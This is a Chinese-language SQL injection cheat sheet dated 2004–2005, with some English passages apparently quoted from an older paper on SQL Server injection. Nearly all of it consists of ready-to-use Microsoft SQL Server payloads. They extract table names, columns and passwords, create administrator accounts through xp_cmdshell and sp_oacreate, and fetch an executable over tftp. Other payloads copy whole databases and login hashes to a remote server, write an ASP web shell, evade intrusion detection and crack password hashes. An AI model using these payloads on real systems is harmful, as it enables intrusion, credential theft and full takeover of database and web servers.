| Sql注射总结 |
| 责任编辑：admin 更新日期：2005-7-6 |
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最重要的表名：
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名（默认sql数据库中存在着的）
public
dbo
guest(一般禁止，或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程，给出一个PID
例如：
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句：查询是否存在xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名（从1到5都是系统的id，6以上才可以判断）
创建一个虚拟目录E盘：
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e：\"'
访问属性：（配合写入一个webshell）
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊，access也好用
暴库特殊技巧：:%5c='\' 或者把/和\ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)
http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--
得到了web路径d:\xxxx,接下来：
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
传统的存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net user swap 5258 /add'
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net localgroup administrators swap/add'
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
传统查询构造：
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
扩展存储就可以通过一般的方法调用：
exec xp_webserver
一旦这个扩展存储执行过，可以这样删除它:
sp_dropextendedproc 'xp_webserver'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库
-----------------------------------------------------------通常注射的一些介绍：
A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件]，即是生成语句：
select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：
select * from 表名 where 字段='连续剧'
注入的参数为Class=连续剧' and [查询条件] and ''=' ，即是生成语句：
select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：
select * from 表名 where 字段like '%关键字%'
注入的参数为keyword=' and [查询条件] and '%25'='， 即是生成语句：
select * from 表名 where字段like '%' and [查询条件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype='U' and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
从⑤拿到表名后，用object_id('表名')获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
post.htm内容：主要是方便输入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
枚举出他的数据表名：
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>'刚才得到的表名'）。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，^^^^^^一个个的读出，直到没有为止。
读字段是这样：
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名
--------------------------------高级技巧：
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
1、 开启远程数据库
基本语法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何和端口用来连接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'
要复制目标主机的整个数据库，首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接，刚才已经讲了),之后insert所有远程表到本地表。
基本语法：
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')
select * from user_database.dbo.syscolumns
之后，便可以从本地数据库中看到目标主机的库结构，这已经易如反掌，不多讲，复制数据库：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2
......
3、 复4、 制哈西表（HASH）
这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之后，6、 就可以进行暴力破解。这需要一点运气和大量时间。
遍历目录的方法：
先创建一个临时表：temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构,并寸入temp表中
5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某个文件的内容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- （xp_dirtree适用权限PUBLIC）
写入表：
语句1：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
语句2：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
语句3：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
语句4：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
语句5：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
语句6：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
语句7：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
语句8：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
语句9：http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER('db_owner'));--
把路径写到表中去：
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-
http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\'-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-
语句：http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句：http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
语句：http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-
把数据库备份到网页目录：下载
http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--
and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)
and%201=(select%20Top%201%20col_name(object_id('USER_LOGIN'),1)%20from%20sysobjects) 参看相关表。
and 1=(select%20user_id%20from%20USER_LOGIN)
and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)
……………………………………………………
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
It could be run in our sample scenario by specifying the following username (all on one line):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2) This example uses the 'scripting.filesystemobject' object to read a known text file:
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3) This example creates an ASP script that will run any command passed to it in the querystring:
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>'
It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run as the low-privileged IWAM_xxx account.
4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak: Page 16
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
This could of course be run in our example scenario, by specifying the following 'username' (note that the example is not only injecting a script, but simultaneously logging in to the application as 'admin'):
Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--
常用密码和相关语句：
password
sqlserver
sql
admin
sesame
sa
guest
Here is the script:
(sqlcrack.sql)
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords
posted on 2004年08月08日 4:21 AM
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